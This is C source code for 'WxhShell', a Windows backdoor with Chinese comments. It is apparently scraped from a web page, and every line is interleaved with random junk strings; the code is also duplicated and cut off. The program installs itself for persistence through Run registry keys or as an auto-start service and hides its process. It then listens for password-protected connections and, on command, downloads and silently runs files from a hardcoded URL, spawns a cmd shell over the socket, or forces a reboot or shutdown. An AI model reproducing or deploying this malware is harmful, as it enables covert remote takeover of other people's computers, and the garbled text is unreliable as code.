;;hyjFGq% g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AWXpA1( g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6n\z53Mk NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Wx)U<:^e u7P+^A97L_ if (!NtQueryInformationProcess) return 0; >-5Gt vSC0D7BlG hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D#Yx,`Ui if(!hProcess) return 0; xf"5<PTW</ )]c3bMVE- if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 56SS
>b N^(lUba CloseHandle(hProcess); s~X*U&}5 Wo9psv7. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9Jy2T/l if(hProcess==NULL) return 0; Xu94v{u3 1~5q:X HMODULE hMod; 27E9NO= char procName[255]; JV]u(PL unsigned long cbNeeded; f./m7TZ w-H%B`/ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }{wTlR.] f UF;SqT CloseHandle(hProcess); 5u|=;Hz*) (ND5CKCR^ if(strstr(procName,"services")) return 1; // 以服务启动 me:|!lI7YU ;j>Vt?:Pw return 0; // 注册表启动 Vvyrty } !q$&JZY _h1 HuL // 主模块 @bW[J int StartWxhshell(LPSTR lpCmdLine) ewAH'H]o { cF_;hD|YZ SOCKET wsl; 3cCK"kr BOOL val=TRUE; E +Ujpd int port=0; wAu[pWD'6; struct sockaddr_in door; Q\27\2 [EmOA.6 if(wscfg.ws_autoins) Install(); (lN;xT`= &8]#RQy{f port=atoi(lpCmdLine); $K?T=a;z
s~Lfi. if(port<=0) port=wscfg.ws_port; WXLe,7y ;v,9v;T WSADATA data; QOT)x4!) if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3'[Rvy{
:vYtMp if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Dh&:- setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dNUR)X#e door.sin_family = AF_INET; 2#AeN6\@ door.sin_addr.s_addr = inet_addr("127.0.0.1"); DHm[8 Qp door.sin_port = htons(port); iY
^{wi~? selP=Q! if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ` URSv,( closesocket(wsl); aJ:A%+1 return 1; ]~ !XiCqu } cW)Oi^q%o2 t1e4H=d> if(listen(wsl,2) == INVALID_SOCKET) { I!fB1aq- closesocket(wsl); Kajkw>z return 1; Ky[bX } "_K}rI6(t Wxhshell(wsl); [8F
\; WSACleanup(); R9tckRG# 4 ,p#:! return 0; 81g9ZV(4 -|m$YrzG } 7$(_j<o` r0F_; // 以NT服务方式启动 V~OUE]]Q VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YF}9k { HUj+- DWORD status = 0; =m`l%V[ DWORD specificError = 0xfffffff; ?VwK2w$&={ X_D6eYF serviceStatus.dwServiceType = SERVICE_WIN32; &&X$d!V serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9[z'/U.Bn serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `$J'UXtGc serviceStatus.dwWin32ExitCode = 0; d,)}+G serviceStatus.dwServiceSpecificExitCode = 0; <z^SZ~G serviceStatus.dwCheckPoint = 0; xM&EL>m>L serviceStatus.dwWaitHint = 0; ^~^mR#<P$ GGCqtA^@7d hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j7f5|^/x3 if (hServiceStatusHandle==0) return; YVo ao#! t-_#Q bzE{ status = GetLastError(); Jf2e<?` if (status!=NO_ERROR) x'@W=P 7 { x@htx? serviceStatus.dwCurrentState = SERVICE_STOPPED; >yX/+p_ serviceStatus.dwCheckPoint = 0; Ujf,6=M serviceStatus.dwWaitHint = 0; 8pqs?L@W serviceStatus.dwWin32ExitCode = status; >wA+[81[ serviceStatus.dwServiceSpecificExitCode = specificError; 0*/kGvw`i SetServiceStatus(hServiceStatusHandle, &serviceStatus); sds}bo
return; c+8V|'4 } i0\)%H:z GWdSSr> serviceStatus.dwCurrentState = SERVICE_RUNNING; RJhK$\ serviceStatus.dwCheckPoint = 0; RU|X*3";T serviceStatus.dwWaitHint = 0; 6WeM rWx if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )S*1C@ } a.q;_5\5` hO3{ // 处理NT服务事件,比如:启动、停止 xzr<k Sp VOID WINAPI NTServiceHandler(DWORD fdwControl) epkD*7 { 45<y{8 switch(fdwControl) oQ\&}@(V { ezUQ>
e case SERVICE_CONTROL_STOP: DZk1ZLz serviceStatus.dwWin32ExitCode = 0; :IZ"D40m" serviceStatus.dwCurrentState = SERVICE_STOPPED; moZm0`WR serviceStatus.dwCheckPoint = 0; 2.nE
k serviceStatus.dwWaitHint = 0; JNi=`X&A { T<yb#ak SetServiceStatus(hServiceStatusHandle, &serviceStatus); /8c&Axuv } mp1ttGUtM return; :$%>4+l case SERVICE_CONTROL_PAUSE: 2+Yb
7 uI, serviceStatus.dwCurrentState = SERVICE_PAUSED; y'
[LNp V break; ! %Ny0JkO case SERVICE_CONTROL_CONTINUE:
^2C>L} serviceStatus.dwCurrentState = SERVICE_RUNNING; T$mbk3P break; "r$/
case SERVICE_CONTROL_INTERROGATE: fd 1C{^c break; a
<wL#Id }; wk @,wOt SetServiceStatus(hServiceStatusHandle, &serviceStatus); X{Zm9T } %u!b& 5]e |8U;m:AS // 标准应用程序主函数 ^B]@Lr E^ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NBOCt)C;H { =;ICa~`C; g7n" // 获取操作系统版本 K 1W].(-@4 OsIsNt=GetOsVer(); J=H)JH3 GetModuleFileName(NULL,ExeFile,MAX_PATH); Z
a(|(M H +@:L|uFU // 从命令行安装 #fDs[ if(strpbrk(lpCmdLine,"iI")) Install(); tC)6 N$#\Xdo // 下载执行文件 t'(1I|7 if(wscfg.ws_downexe) { :L:&t,X if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2?DRLF] WinExec(wscfg.ws_filenam,SW_HIDE); lr3mE } SSA W52xC D/ Dt if(!OsIsNt) { s\3q!A?S3 // 如果时win9x,隐藏进程并且设置为注册表启动 L:R<e#kgS HideProc(); a9Y5 StartWxhshell(lpCmdLine); ,D=fFpn } [TTSA2 else Nneo{j if(StartFromService()) 5?u}#zO // 以服务方式启动 :dnJY%/q StartServiceCtrlDispatcher(DispatchTable); 'i|rjW( else 0. ;}]v // 普通方式启动 3z8C StartWxhshell(lpCmdLine); ',=g; ,6"l (]0 return 0; yVJ%+d:6 } $xgBKD F-
rQ3 PK2~fJB 4. qtp` =========================================== KZ:hKY@q QlZ@ To ,kM)7!]N LKF/u` 0dP N#z~ 6lFfS!ZFA " ULqoCd%bK E6MA?Ax&= #include <stdio.h> #JW+~FU` #include <string.h> T)iW`vZg8 #include <windows.h> \_BkY%a #include <winsock2.h> j`>^1Q #include <winsvc.h> zJN7<sv #include <urlmon.h> gAbD7SE ROb\Rxm #pragma comment (lib, "Ws2_32.lib") []pN$]+c #pragma comment (lib, "urlmon.lib") aaW]JmRb dp5cDF}l #define MAX_USER 100 // 最大客户端连接数 ;0%OB*lcgE #define BUF_SOCK 200 // sock buffer S?0$? w? #define KEY_BUFF 255 // 输入 buffer ,FSrn~-j9 DBH#)4do@ #define REBOOT 0 // 重启 ^TdZ*($5 #define SHUTDOWN 1 // 关机 {]N3f[w e@<?zS6 #define DEF_PORT 5000 // 监听端口 YK#fa2ng A*yi"{FLi #define REG_LEN 16 // 注册表键长度 m_NCx]#e
#define SVC_LEN 80 // NT服务名长度 M[]A2'fS :l\V'=%9'@ // 从dll定义API YA]5~ZE\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o*S"KX$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P ,mN > typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $iw%(H typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qL
/7^)( 0#p/A^\#7M // wxhshell配置信息 N:5[,O<m_ struct WSCFG { Z}6^ve int ws_port; // 监听端口 }?8uH/+ZA char ws_passstr[REG_LEN]; // 口令 Yl cbW0'c int ws_autoins; // 安装标记, 1=yes 0=no ~aK?cP char ws_regname[REG_LEN]; // 注册表键名 kAYb!h[` char ws_svcname[REG_LEN]; // 服务名 $4=f+ "z char ws_svcdisp[SVC_LEN]; // 服务显示名 tOl e>] char ws_svcdesc[SVC_LEN]; // 服务描述信息 NZLAk~R;0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 io2)1cE&f int ws_downexe; // 下载执行标记, 1=yes 0=no Q4]4@96Aj char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E2wz(,@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oA-:zz>wL cQNs L }; ?9+@+q G@ \Pi#1 // default Wxhshell configuration `|Z}2vo;j struct WSCFG wscfg={DEF_PORT, :3h{ A`u "xuhuanlingzhe", i^`9syD 1, r),PtI0X "Wxhshell", RzKb{>
;A "Wxhshell", K,ej%Vtz "WxhShell Service", {}~: &.D "Wrsky Windows CmdShell Service", gk0.zz([ "Please Input Your Password: ", BHDML.r }M 1, W~n.Xeu{C "http://www.wrsky.com/wxhshell.exe", p
zw8 T "Wxhshell.exe" ?i\;:<e4 }; y^>Q/H\
Wzq>JNny // 消息定义模块 Tb;d.^ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >pyj]y^3 char *msg_ws_prompt="\n\r? for help\n\r#>"; &n2e char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @exey char *msg_ws_ext="\n\rExit."; :;;E<74e
i char *msg_ws_end="\n\rQuit."; K+\nC)oG char *msg_ws_boot="\n\rReboot..."; ,$*IzL~ char *msg_ws_poff="\n\rShutdown..."; '=E9En#@ char *msg_ws_down="\n\rSave to "; F?+3%>/A@ cV
K7 char *msg_ws_err="\n\rErr!"; |H}sYp char *msg_ws_ok="\n\rOK!"; >zvY\{WY
%V G/ char ExeFile[MAX_PATH]; nv0@xnbz int nUser = 0; Lz9#A. HANDLE handles[MAX_USER]; YB))S!;Ok int OsIsNt; B/f0P(7 B1
0+*p( SERVICE_STATUS serviceStatus; j F"YTr6 SERVICE_STATUS_HANDLE hServiceStatusHandle; @`"AHt _ o6G6e, // 函数声明 \0;(VLN'U int Install(void); *V^ #ga#A int Uninstall(void); K<sC F[ int DownloadFile(char *sURL, SOCKET wsh); k8nLo.O int Boot(int flag); ITJ q void HideProc(void); {QaNAR=) int GetOsVer(void); l;X|=eu' int Wxhshell(SOCKET wsl); V\~Wv V void TalkWithClient(void *cs); PaB!,<A int CmdShell(SOCKET sock); yqOuX>m 1c int StartFromService(void); b;mSQ4+ int StartWxhshell(LPSTR lpCmdLine); EpPf_ \o G* b2,9&F VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i8X`HbmN VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,8G{]X) ;$j7H&UNQj // 数据结构和表定义 ,{eUP0] SERVICE_TABLE_ENTRY DispatchTable[] = !/{+WHxIr| { xG&SX#[2 {wscfg.ws_svcname, NTServiceMain}, Z{NC9 {NULL, NULL} KLQTKMNv }; vH%gdpxX &fP XU*l4 // 自我安装 I3S9Us-\ int Install(void) &xZyM@ { 8[%Ao/m char svExeFile[MAX_PATH]; ,SlN zR HKEY key; -C7]qbT
} strcpy(svExeFile,ExeFile); 1YxgR}7 [ee%c Xo // 如果是win9x系统,修改注册表设为自启动 ra ' if(!OsIsNt) { $3+PbYY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wmr-}Y!9u% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VzS&`d.h RegCloseKey(key); 7\
SUr9[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o/cjXun* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &:*q_$]Oz RegCloseKey(key); }1 vT) return 0; ?ne_m:J[ } !{^\1QK } >n5:1.g } Ma-\^S= else { }*U[>Z-eO g\A
y`.s // 如果是NT以上系统,安装为系统服务 eHg3}b2r SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^
?hA@{T/1 if (schSCManager!=0) IputF<p { OvL\u{(<F SC_HANDLE schService = CreateService wYsZM/lw ( ?@6b>='! schSCManager, 0Rxe~n1o wscfg.ws_svcname, |Yi)"- wscfg.ws_svcdisp, Wa/g`} SERVICE_ALL_ACCESS, XhU@W}} SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t-%Q`V=[ SERVICE_AUTO_START, +';>=hha SERVICE_ERROR_NORMAL, Nf,Z;5e svExeFile, .~lKBkS`! NULL, mo]KCi NULL, :Gqy>)CxX NULL, FeJr\|FT NULL, WUdKLx%F NULL ?^HfNp9 ); C}g9'jY if (schService!=0) d4[(8}
x$/ { 8am`6;O:! CloseServiceHandle(schService); PnT)LqEF CloseServiceHandle(schSCManager); =#5D(0Ab strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YL^=t^!4 strcat(svExeFile,wscfg.ws_svcname); @# P0M--X if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~K_Uq*dCE RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I lR\
# RegCloseKey(key); H( -Y return 0; 6"T['6:j } 6bc337b } 5,"l0nrk CloseServiceHandle(schSCManager); z:Sigo_z[ } mbl]>JsQD } iSRpfU 84zTCX return 1; $L4/I !Yf } ^y viV
Y 4] > ]-b // 自我卸载 W~T}@T:EN int Uninstall(void) 9V uq,dv { q=HHNjj8 HKEY key; V2Q$g^X' :S@1 if(!OsIsNt) { SM 0M% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {'+QH)w( RegDeleteValue(key,wscfg.ws_regname); l2%bF8]z RegCloseKey(key); +#@"*yj3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R$kpiqK RegDeleteValue(key,wscfg.ws_regname); 8$N8}q% RegCloseKey(key); w
JwX[\ return 0; %b.UPS@I } ivgpS5 M`Y } o;"OSp } @xsP5je] else { :m=m}3/: c47")2/yO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {)f~#37 if (schSCManager!=0) V+-$jOh { F,Xo|jjj SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U7mozHS,:9 if (schService!=0) ,''cNV { fyz
nuUl if(DeleteService(schService)!=0) { =bh*[,- CloseServiceHandle(schService); M_0zC1 CloseServiceHandle(schSCManager); R)?{]]v return 0; %,@vWmn } Uv_N x10 CloseServiceHandle(schService); 4W4kwU6D } z9
u$~ CloseServiceHandle(schSCManager); vqslirC } sH,kW|D } m4k
Bj*6c{ ^da44Qqu return 1; ]qhPd_$?D' } \W1/p` LR"9D // 从指定url下载文件 86nN"!{l: int DownloadFile(char *sURL, SOCKET wsh) ]l8^KX' { T0]MuIJ). HRESULT hr; \TU3rk&X char seps[]= "/"; tDUwy^j char *token; ?6'rBH/w char *file; [`
sL?&a char myURL[MAX_PATH]; `p+Zz"/ char myFILE[MAX_PATH]; Agrk|wPK qP<Lr)nUH strcpy(myURL,sURL); $M Jm*6h token=strtok(myURL,seps); &r:7g%{n
while(token!=NULL) y!xE<S&Y {
D= 7c( file=token; 23gPbtq/ token=strtok(NULL,seps); <tioJG{OT } u{L!n$D7 R
LD`O9#j GetCurrentDirectory(MAX_PATH,myFILE); !W?gR.0$= strcat(myFILE, "\\"); K#. strcat(myFILE, file); 1@$Ko5 send(wsh,myFILE,strlen(myFILE),0); G}p\8Q}' send(wsh,"...",3,0); 0V?F'<qy hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W5R\Q,x6 if(hr==S_OK) G z)NwD return 0; *z7dl5xJ else Dwzg/F( return 1; dUsxvho x#:| }pR } /7
Cn(s5 o P~ &$l2 // 系统电源模块 bcupo:N int Boot(int flag) ?R$&Xe!5 { "!EcbR HANDLE hToken; HJY2#lSha6 TOKEN_PRIVILEGES tkp; =Qn ;_+Ct 0#MqD[U( if(OsIsNt) { zen*PeIrA^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YX#-nyK LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ."Y
e\>k tkp.PrivilegeCount = 1; Sfr&p>{, tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y a_<^O
9 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Nr=d<Us9f if(flag==REBOOT) { e zOj+vz if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [n/hkXa$\ return 0; LlSZr)X } z0do;_x]E else { @62Mk},9 c if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M8TSt\ return 0; uAWM\? } &>Vfa } k]I0o)+O. else { +k>.Q0n%m if(flag==REBOOT) { ZGd!IghL if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9rA=pH%<>B return 0; o-Ga3i 8 } "V}[':fen else { Kx%Sku<F' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /7YF mI/0 return 0; |.3DD"* } Xp}Yw"7 } @i*|s~15 ,#kIr return 1; f^.AD- } D~\$~&_]= 0MdDXG-7 // win9x进程隐藏模块 L5\WpM= void HideProc(void) E)fglYWs2 { Y"wUt & X'"SVO. HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ze]h..,]K if ( hKernel != NULL ) LoGVwRmoC { ,1"KHv pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eh5gjSqx ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'uxX5k/D@t FreeLibrary(hKernel); D= h)& } ^C_#<m_k H*[M\gN$ return; &?q/1vLa } P"W2(d iy 14mh\ ~ // 获取操作系统版本 rmE" rf int GetOsVer(void) 11<KpxKpk { ~:3QBMk:: OSVERSIONINFO winfo; 'J6
M*vO winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1#0{@35 GetVersionEx(&winfo); V{^!BBQ
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
\9/ b!A return 1; ? P(
ZA else uoXAQ6k return 0; 21< j\
M } 2UFv9 )|I5j];L // 客户端句柄模块 !!:LJ int Wxhshell(SOCKET wsl) ;kJu$U { .?>5-od2 SOCKET wsh; 7 uarh! struct sockaddr_in client; S inl DWORD myID; //&j<vus Jz! Z2c while(nUser<MAX_USER) z 8*8OWM { (?*BB3b` int nSize=sizeof(client); uyF|O/FC wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &
``d if(wsh==INVALID_SOCKET) return 1; U5]pi+r ]O:N-Y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /S\cU`ZVe if(handles[nUser]==0) TbehR:B5g closesocket(wsh); yt+}K)Hz else =5sF"L;b nUser++; $y?k[Y-~ } ]}UgS+g>$ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {@u<3 s
YOAn4]j return 0; ?K@t0a
} h)v^q: =' jb /8?7 // 关闭 socket 0~ &" void CloseIt(SOCKET wsh) e0; { {NCF6Mk closesocket(wsh); 1|?K\B nUser--; dP>w/$C} ExitThread(0); $iM=4
3W } ? &zQaxD rQP"Y[ // 客户端请求句柄 Y1dVM]l void TalkWithClient(void *cs) ^I]{7$6^ { <TNk?df7 o/,NG U SOCKET wsh=(SOCKET)cs; zEw>SP1, char pwd[SVC_LEN]; uvA(Rn char cmd[KEY_BUFF]; $cVi;2$p char chr[1]; A.Bk/N1G int i,j; }xlKonk $gMCR
b, while (nUser < MAX_USER) { <1&Ke CDp8)=WJFF if(wscfg.ws_passstr) { /9Ilo\MdD if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yZJ*dadAr //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NfE.N&vI_c //ZeroMemory(pwd,KEY_BUFF); c#b:3dXx9 i=0; r-w2\ 2 while(i<SVC_LEN) { `dJDucD v&3O&y/1v // 设置超时 F3ZxhkF fd_set FdRead; ~DLIz g7p! struct timeval TimeOut; T`$KeuL FD_ZERO(&FdRead); GLKO]y FD_SET(wsh,&FdRead); M+sj} TimeOut.tv_sec=8; 0zqj0
TimeOut.tv_usec=0; SvK1.NUa int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d^39t4 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Su8'$CFz$. :G'xi2bs if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GH'O!} pwd=chr[0]; iUr xJh if(chr[0]==0xd || chr[0]==0xa) { OoP@-D"e pwd=0; Fc0jQ@4= break; R9.HD?H@ } {Iy7.c8S i++; F>:%Cyo0! } J(d2:V{h Sb^
b)q" // 如果是非法用户,关闭 socket 2ALj} if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MWq$AK] } PW_`qP: DY><qk send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k]I*:'178 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L? ;/cO^ bNvAyKc- while(1) { 3kLOoL? 0~xaUM` ZeroMemory(cmd,KEY_BUFF);
3t v#=ayWgk // 自动支持客户端 telnet标准 ez0 \bym j=0; `I>], J/ while(j<KEY_BUFF) {
nhfwOS if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^\YQ_/\~L cmd[j]=chr[0]; tL8't]M, if(chr[0]==0xa || chr[0]==0xd) { v_-ls"l cmd[j]=0; < EXWWrm break; $DV-Ieb } TczXHT}G j++; n.;3X } SY6r 8RK |!re8|JV_ // 下载文件 4? {*( if(strstr(cmd,"http://")) { 9`&77+|;e send(wsh,msg_ws_down,strlen(msg_ws_down),0); |B1Af if(DownloadFile(cmd,wsh)) &9h send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wy)('EM else nE<J`Wo$f send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZPYH#gC&T } 3AP YO else { tAt;bYjb\ &O{t^D)F switch(cmd[0]) { QZYM9a> L3>4t: 8 // 帮助 ~6fRS2u case '?': { DzmqR0) send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U:Fpj~E_w break; ]Qy,#p'~&H } +ks$UvtY // 安装 :9O|l)N)W= case 'i': { _6/Qp`s if(Install()) hf[IEK send(wsh,msg_ws_err,strlen(msg_ws_err),0); v5gQ9 else `bi
k/o=% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6%z`)d break; nO%<;-=u\ } wtUG^hV #_ // 卸载 ^zkd{ov case 'r': { OT"lP(, if(Uninstall()) (F_7%!g1d send(wsh,msg_ws_err,strlen(msg_ws_err),0); 34]%d<;A else p\)h",RkA send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L;kyAX@^ break; /.f! } ]#+5)[N$> // 显示 wxhshell 所在路径 6pe4Ni7I2 case 'p': { 8Q+TE; char svExeFile[MAX_PATH]; Z*;*I<- strcpy(svExeFile,"\n\r"); yW'BrTw
strcat(svExeFile,ExeFile); l!Nvn$hm send(wsh,svExeFile,strlen(svExeFile),0); wN$uX#W| break; .Pqj6Ko9 } x%ZiE5# // 重启 UYlJO{|a case 'b': { s-y'<(ll send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sCuQB Z h if(Boot(REBOOT)) 7?)m(CFy send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,[+ZjAyG}# else { Es_SCWJ closesocket(wsh); %_cg|yy ExitThread(0); I]s:Ev[~ } #{.pQi}) break; t"4Rn<- } )GQD*b // 关机 ke mr@_ case 'd': { {5?!`<fF send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k0Oc,P`'* if(Boot(SHUTDOWN)) JT}dor send(wsh,msg_ws_err,strlen(msg_ws_err),0);
9QO!vx else { C&qDvvk closesocket(wsh); KHiYV ExitThread(0); WcQZFtW } '3Y0D1`v break; S(YHwH": } $rV:&A // 获取shell QvT-&| case 's': { Ve')LY< CmdShell(wsh); &'oacV= closesocket(wsh); }(hYG"5 ExitThread(0); Jh/M}%@| break; lMI
ix0sSj } B "s8i{Vm // 退出 Xk7$?8r4& case 'x': { n=Z[w5 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kcZ;SYosj CloseIt(wsh); *X=f break; IU;pkgBj0Y } bx%hizb // 离开 |]
f"j': case 'q': { f T+n-B send(wsh,msg_ws_end,strlen(msg_ws_end),0); j#.-MfB closesocket(wsh); K:Xrfn{s WSACleanup(); C.TCDl exit(1); hU)f(L break; ;V}FbWz^v6 } MjF.>4 } C`K9WJOD } w[$Wpae IUBps0.T\ // 提示信息 c6}xnH if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >+c`GpZH } S.)8& } dXcMysRc%& *fy`JC return; x /Ky:
Ky } MZ+IorZl b<H6D} // shell模块句柄 cX]{RVZo-/ int CmdShell(SOCKET sock) {XUfxNDf { N55=&-p STARTUPINFO si; XU })3]/ ZeroMemory(&si,sizeof(si)); <OO/Tn'a si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `"-!UkD+ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d/99!+r PROCESS_INFORMATION ProcessInfo; zSM7x char cmdline[]="cmd"; LB ^^e"
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :phD?\!w8t return 0; JFk|Uqs( } $.]t1e7s gB{R6
\<O // 自身启动模式 _!g
NF= int StartFromService(void) pvdZ>D-IU { PY:#F|uHS` typedef struct jN[6JY1 { - 5Wt9 DWORD ExitStatus; ?GfA;O DWORD PebBaseAddress; 7[<sl35 DWORD AffinityMask; s6hWq&C DWORD BasePriority; 9}Ave:X^ ULONG UniqueProcessId; \gQ+@O&+ ULONG InheritedFromUniqueProcessId; xR6IXF>* } PROCESS_BASIC_INFORMATION; :
MmXH&yR 9i[2z:4HJ PROCNTQSIP NtQueryInformationProcess;
bQQ/7KM \ozy_s[ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .W.U:C1 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ln%_8yth cMk%]qfVo8 HANDLE hProcess; +VCo=oA PROCESS_BASIC_INFORMATION pbi; aJ_Eh(cF f?^xh HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <%f%e4
[ if(NULL == hInst ) return 0; ? bg pUv qNVw+U;2P g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E1v<-UPbA g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); IL"#TKKv NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BD+~8v R~(.uV`#j if (!NtQueryInformationProcess) return 0; eh(]'%![/ 6oBt<r?CJ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o=2`N2AL if(!hProcess) return 0; gbZ X'D
r+Cha%&D if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "G)?
